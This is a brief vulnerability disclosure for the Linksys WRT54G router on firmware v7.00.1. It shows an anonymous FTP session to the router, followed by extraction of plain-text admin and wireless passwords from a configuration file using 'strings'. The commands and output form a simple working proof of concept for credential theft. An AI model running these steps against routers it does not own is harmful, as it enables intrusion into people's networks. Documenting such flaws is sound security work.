Environment: Linksys WRT54G - Firmware Version: v7.00.1
Default settings of Linksys WRT54G allows to get FTP without password:
rafal@localhost ~ $ lftp 192.168.1.1
lftp 192.168.1.1:~> dir
size date time name
956756 Jan-01-2003 02:13:12 ap61.sys
224664 Jan-01-2003 02:13:24 igwhtm.dat
28528 Jan-01-2003 02:13:26 langpak_en
28482 Apr-08-2011 15:36:44 igwpricf.dat
2520 Apr-08-2011 15:11:02 nvram.cfg
2046 Dec-24-2001 00:02:42 calibra.dat
lftp 192.168.1.1:~>
It is possible to download igwpricf.dat file (and another) where plain-text password to web access and wireless network are keeping.
rafal@localhost ~ $ strings igwpricf.dat
Linksys
IntotoSoft
192.168.50.3
…
Aadmin
PASSWORD
test
best
…
WIRELESS_PASSWORD
…
default
langpak_en
TELNET
HTTP
SMTP
POP3
RaFD